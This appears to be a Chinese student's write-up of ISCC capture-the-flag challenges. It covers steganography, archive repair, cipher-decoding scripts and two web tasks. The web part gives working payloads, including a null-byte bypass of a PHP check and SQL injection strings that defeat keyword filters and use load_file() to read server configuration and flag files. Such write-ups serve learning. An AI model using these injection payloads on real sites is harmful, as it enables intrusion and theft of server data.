文章目录
misc
我的折扣是多少
得到三个文件
第二个文件一闪而过,截屏得到下图,那么,可以看到此解码就像是unicode编码,尝试解第三个压缩包,错误
将第三个压缩包放到010里面
可以得到一串base64
得到密码二,即得到完整的密码
然后,我没想法了,经过学长的指点,了解到,.MP3文件大多数都是需要·MP3stego进行解密的
那么我又对MP3stego进行学习了解使用方法,
使用方法
然后得到
base32,得到flag
tornado
原题
世界套娃与你环环相扣
猪圈密码ISCCVERYNICE
然后压缩包受到损坏,我的WinRAR修改不了这个东西,就用手动修改
手动修改压缩包文件头
开头添加Rar!的十六进制
结尾添加Ä={的十六进制
得到
这两个文件
第一个改为.mp3文件
第二个拼图发现并没有有用信息,然后更改高宽,得到下图
访问发现需要密码
然后看音频文件
这是个SSTV的题,具体看
大佬博客
得到密钥
然后登录到网盘,然后复制里面的具体内容,记得要全部复制,不然…然后base92
就可以了
检查一下
这道题,先用binwalk一下,直接得到两个文件
一个是空文件,一个是只含有0和1的文件
到这我就没思路了,经过学长指点,知道用pngcheck检查一下,说是一个IDAT模块损坏
如下给个命令行
可以看到后三个和前面长度明显不同
然后就查和pngchack有关的ctf题
大佬博客
果真让查到了
大佬是吧压缩包直接手动分离,并且写了个脚本,我在最开始,阴差阳错的已经得到含0和1的文件
from PIL import Image
MAX = 29
pic = Image.new("RGB",(MAX, MAX))
str = " 0和1的文件"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
然后跑脚本就好了
Retrieve the passcode
看到这里,我以为是什么密码学或者是密钥之类的。
后来经过学长指点才发现不对劲,才知道是三维坐标的点。跑脚本!!!
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
fig = plt.figure()
ax = fig.gca(projection="3d")
xs, ys ,zs= np.loadtxt('xyz.txt', delimiter=':', unpack=True)
ax.scatter(xs, ys, zs, zdir="z", c="#FF5511", marker="o", s=40)
ax.set(xlabel="X", ylabel="Y", zlabel="Z")
plt.show()
得到
摩斯密码解码即可。
海市蜃楼-1
一个docx文件,点开,文件头是PK,可能是个压缩包
改为zip后缀,然后用winrar查找ISCC即可
小明的宠物兔
开始没接触过CRC32碰撞,并不知道这里面有猫腻。
就知道放虚拟机里binwalk,分离出压缩包
看着像DES加密,毕竟开头前几个字母跟,美人鱼的那道题一摸一样。
后来经过学长指点才知道是ribbit解密(题目都说是兔子了)。解密需要密匙,应该就在压缩包key里面了
需要用到CRC32爆破
└─$ python3 crack.py key.zip
reading zip files...
file found: key.zip / key.txt: crc = 0x3dacac6b, size = 5
compiling...
searching...
crc found: 0x3dacac6b: "yR>\x5c5"
crc found: 0x3dacac6b: "DCr4m"
crc found: 0x3dacac6b: "X\x0c.5y"
crc found: 0x3dacac6b: "(0_0)"
crc found: 0x3dacac6b: "\x09nOYe"
done
key.zip / key.txt : 'yR>\\5'
key.zip / key.txt : 'DCr4m'
key.zip / key.txt : 'X\x0c.5y'
key.zip / key.txt : '(0_0)'
key.zip / key.txt : '\tnOYe
放上脚本,最后爆出来是(0_0),用ribbit解密即得flag
小明的表情包
跑脚本,将凯撒的所有的密文都拿出来
并没有什么用处
直接爆破
得到口令,但是发现jpg文件打不开,放到010中发现是文件头不对劲然后,添加正常jpg文件的文件头即可。
base小偷
跑个脚本,把凯撒的所有密码都搞出来
s = "trefy2k2ov2lig2gqd2eqakoxjqcw4lztnfli"
f = open("crack.txt", "w")
def kaisa(k):
t = ""
for c in s:
if 'a' <= c <= 'z':
t += chr(ord('a') + ((ord(c) - ord('a')) + int(k)) % 26)
elif 'A' <= c <= 'Z':
t += chr(ord('A') + ((ord(c) - ord('A')) + int(k)) % 26)
else:
t += c
print(t)
f.write(t+"\n")
for i in range(0,26):
kaisa(i)
然后导出就行了,虽然我没看出什么猫腻,但是学长看出来了,是base32
# coding: UTF-8
import base64
ff = open('output.txt','w')
with open('crack.txt','r') as f:
lines = f.readlines()
for line in lines:
line_n =line.replace('\n','')
line_n=line_n+r'==='+'\n' #行末尾加上"===",同时加上"\n"换行符
line_new=line_n.upper() #小写转换为大写
ff.write(line_new) #写入一个新文件中
ff.close()
with open('output.txt','r') as f:
list = f.read().splitlines() #存入列表中
i = 0
ls2 = [str(i) for i in list] #转换为字符串类型
while i < len(list):
print(base64.b32decode(ls2[i]))
i += 1
然后运行出来后,会发现一段base64编码
解码即可。
web
ISCC客服冲冲冲(一)
直接改下图的地方
然后就行了
这是啥
放到控制台即可。
Web01
想到攻防世界的某道题,也是robots协议
scr是目录的意思
然后就是代码审计了
<?php
<p>code.txt</p>
if (isset ($_GET['password'])) {
if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
所以payload
?password=1e8%00*-*
easyweb
这是道注入题,说实话,我虽然打了好几关sql -labs,但是我对sql注入的理解还是很浅奉劝各位,理解到位再打,不然只会语句,跟不会是差不多的
这道题还是在大佬的帮助下才复现出来的。
先查注入点。题目没有提示,但是F12就会有提示了
先看一下注释符是否被过滤
被过滤了
然后使用#注释,但是井号情况下,闭合符号都是错的,所以#,也被过滤了,然后就需要#的代替%23
经过尝试,闭合符号是 ‘
然后进行模糊测试
模糊测试:
用来看哪些字符被过滤了
即在使用burp的情况下,测试一个注入题中哪些东西被过滤。
使用一个字典,将注入时需要的语句放入字典内部,然后进行测试,查看哪些语句被过滤。
sql注入绕过操作
可以看到union和select都被过滤了,那么尝试双写绕过。
?id=0'%0dununionion%0dselselectect%0d1,2,3%23
拿数据库名
又因为 from和information_schema都被过滤了,所以只能用dsys.schema_table_statistics_with_buffer代替他们
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_table_statistics_with_buffer),3%0d%23
之后,注入就进行不下去了,因为把from和information_schema都过滤了,所以无法从表获取到列。
只能盲猜一波。学长盲猜的是iscc_flag
进入
先获取网站路径
?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23 //此路径为默认
最后构造payload
?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%23
总结
总结就是,web题做得太少,这方面投入太少。以后争取每天都学到一点知识。